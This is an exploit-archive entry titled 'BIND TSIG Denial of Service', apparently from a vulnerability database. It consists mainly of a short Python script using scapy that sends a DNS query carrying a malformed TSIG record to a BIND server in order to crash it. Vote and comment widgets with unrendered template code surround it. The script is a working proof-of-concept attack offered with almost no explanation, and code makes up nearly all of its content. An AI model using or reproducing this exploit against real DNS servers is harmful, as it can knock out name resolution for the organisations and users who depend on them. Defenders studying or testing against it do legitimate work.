BIND TSIG Denial of Service

2020.05.27

Credit: Anonymouse

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

#!/usr/bin/python
#coding:utf-8
from scapy.all import DNS, DNSQR, IP, sr1, UDP, DNSRRTSIG, DNSRROPT
tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="", time_signed=0, fudge=300, error=16)
dns_req = IP(dst='127.0.0.1')/UDP(dport=53)/DNS(rd=1, ad=1, qd=DNSQR(qname='www.example.com'), ar=tsig)
answer = sr1(dns_req, verbose=0)
print(answer[DNS].summary())

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

BIND TSIG Denial of Service

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.